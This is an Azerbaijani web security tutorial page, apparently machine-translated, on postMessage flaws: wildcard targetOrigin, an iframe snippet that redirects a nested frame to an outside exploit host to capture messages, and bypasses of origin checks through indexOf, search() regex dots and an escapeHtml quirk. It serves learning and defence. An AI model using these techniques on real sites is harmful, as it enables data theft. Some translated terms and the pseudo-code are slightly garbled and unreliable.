PostMessage

PostMessages wildcards

PostMessage mesaj göndərmək üçün aşağıdakı funksiyadan istifadə edir:

targetWindow.postMessage(message, targetOrigin, [transfer]);

Beləliklə mesajlar yalnız həmin istifadəçiyə göndərilə bilər (təhlükəsiz). Və ya bulud "*" işarəsi ola bilər. Joker işarədən istifadə edildiyi təqdirdə mesajlar istənilən domenə göndərilə bilər.

Hücum

Bu hesabatda siz hansısa məqamda targetOrigin kimi joker işarədən istifadə edərək poçt mesajı göndərə bilən səhifəni necə iframe edə biləcəyinizi oxuya və məlumatların ixtiyari domenə göndərilməsi üçün onun yerini dəyişdirə bilərsiniz. Bu hücumu həyata keçirmək üçün X-Frame başlığı vuln səhifəsində olmamalıdır.

<html>
    <iframe src="https://docs.google.com/document/ID" />
    <script>
       //pseudo code


        setTimeout(function(){ exp(); }, 6000);

        function exp(){
        setInterval(function(){ 
         window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
        }, 100);
        }
    </script>
</html>

addEventListener exploit-i

Mesajları analiz etmək üçün aşağıdakılara bənzər bir kod istifadə ediləcək:

window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);

Bu vəziyyətdə kodun etdiyi ilk şey mənşəyi yoxlamaqdır. Bu, əsasən, səhifə qəbul edilmiş məlumatla (parolun dəyişdirilməsi kimi) həssas hər hansı bir iş görəcəksə, çox vacibdir. Mənşəyi yoxlamazsa, təcavüzkarlar qurbanları bu son nöqtələrə ixtiyari məlumat göndərməyə və qurbanların parollarını dəyişdirməyə məcbur edə bilərlər (bu nümunədə).

Mənşəyi yoxlamaq vacibdir və onu düzgün yoxlamaq da eyni dərəcədə vacibdir:

PostMessage zəifliyini Bypass etmək

  • PostMessage hadisəsinin mənşəyini yoxlamaq üçün indexOf() istifadə olunursa, unutmayın ki, mənbə The Bypass-da göründüyü kimi sətirdə olarsa, onu keçmək olar.

  • Mənşəyi təsdiqləmək üçün search() funksiyasından istifadə etibarsız ola bilər. String.prototype.search() sənədlərinə əsasən, metod sətir əvəzinə müntəzəm repressiya obyekti götürür. Əgər regexp-dən başqa bir şey ötürülürsə, o, dolayısı ilə regexp-ə çevriləcək.

"https://www.safedomain.com".search(t.origin)

Normal ifadədə nöqtə (.) joker simvol kimi qəbul edilir. Başqa sözlə, mənşəyin istənilən simvolu nöqtə ilə əvəz edilə bilər. Təcavüzkar bundan faydalana və www.s.afedomain.com kimi təsdiqləməni keçmək üçün rəsmi domen əvəzinə xüsusi domendən istifadə edə bilər.

  • escapeHtml funksiyasından istifadə edilərsə, funksiya yeni qaçmış obyekt yaratmır, bunun əvəzinə mövcud obyektin xassələrinin üzərinə yazır. Bu o deməkdir ki, əgər biz hasOwnProperty-ə cavab verməyən, idarə olunan xassə ilə obyekt yarada bilsək, o, xilas olmayacaq.

// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Fayl obyekti bu istismar üçün mükəmməldir, çünki o, şablonumuz tərəfindən istifadə edilən və escapeHtml funksiyasını yan keçəcək yalnız oxumaq üçün olan name xüsusiyyətinə malikdir.

Last updated